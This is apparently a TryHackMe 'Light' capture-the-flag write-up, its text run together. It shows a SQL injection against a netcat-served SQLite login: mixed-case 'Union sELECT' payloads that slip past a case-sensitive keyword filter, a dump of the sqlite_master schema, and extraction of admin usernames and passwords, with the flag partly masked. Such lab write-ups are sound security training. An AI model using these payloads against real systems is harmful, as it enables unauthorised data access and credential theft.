Press enter or click to view image in full size
I am working on a database application called Light! Would you like to try it out?
If so, the application is running on port 1337. You can connect to it using nc <ip> 1337
You can use the username smokey in order to get started.smoke found it is vulnerable.┌─[TheFlyingWolf]─[~]
└──╼ $nc 10.x.x.x 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmLsomkey ' returned sql errorPlease enter your username: smokey '
Error: unrecognized token: "'smokey '' LIMIT 30"filtering or blacklisting certain words or phrases to prevent SQL injection attemptsPlease enter your username: smoke ' select sqlite_version()
Ahh there is a word in there I don't like :(Select (with a capital S) but blocks select/SELECT (all lowercase or all capital), it means the filtering mechanism is case-sensitive.Please enter your username: smoke ' Select sqlite_version()
Error: near "Select": syntax errorUNION operator in SQL is used to combine the results of two or more SELECT statements into a single result set. It ensures that the combined result set contains unique rows by defaultPlease enter your username: smoke ' Union Select sqlite_version()
Error: unrecognized token: "' LIMIT 30"
Please enter your username: smoke ' Union Select sqlite_version()'
Password: 3.31.1Database StructurePlease enter your username: smoke ' Union sELECT sql FROM sqlite_schema'
Error: no such table: sqlite_schema
Please enter your username: smoke ' Union sELECT sql FROM sqlite_master'
Password: CREATE TABLE admintable (
id INTEGER PRIMARY KEY,
username TEXT,
password INTEGER)admintableFirst Attempt:
smoke ' Union sELECT username from admintable where username='SELECT * FROM users WHERE username = 'smoke ' UNION SELECT username FROM admintable WHERE username = '';admintable returned no results because no username matched an empty string ('').Username not found.Second Attempt:
smoke ' Union sELECT username from admintable where username='%'SELECT * FROM users WHERE username = 'smoke ' UNION SELECT username FROM admintable WHERE username = '%';% wildcard in this context was treated as a literal string rather than a wildcard, so no match was found.Username not found.Third Attempt:
smoke ' Union sELECT username from admintable where username like 'LIKE operator requires a pattern to match (e.g., LIKE 'admin%').Username not found.Fourth Attempt:
smoke ' Union sELECT username from admintable where username like '%'SELECT * FROM users WHERE username = 'smoke ' UNION SELECT username FROM admintable WHERE username LIKE '%';% wildcard with LIKE matches any string, so it returned all usernames from the admintable table.Username: T...........n suggests that the system displayed the first matched result, which was likely T...........nInput:
somey' Union Select password from admintable where username='T...........nResulting Query: The input likely transformed the backend SQL query into something like:
SELECT * FROM users WHERE username = 'somkey' UNION SELECT password FROM admintable WHERE username = 'T.........n';SELECT * FROM users ...) would normally fail or return nothing for username = 'somkey'.UNION clause appends the result of the second query:SELECT password FROM admintable WHERE username = 'T..........n';T........n was retrieved and displayed m............7Please enter your username: somkey' uNION sELECT password from admintable where password LIKE '%
Password: THM{S..........O?}2. Successful Injection via UNION:
UNION operator allowed you to append the result of another query (SELECT password FROM admintable) to the original result set.3. Username Match:
WHERE username = 'T.........n' in the injected query ensured only the password for T..........n was returned.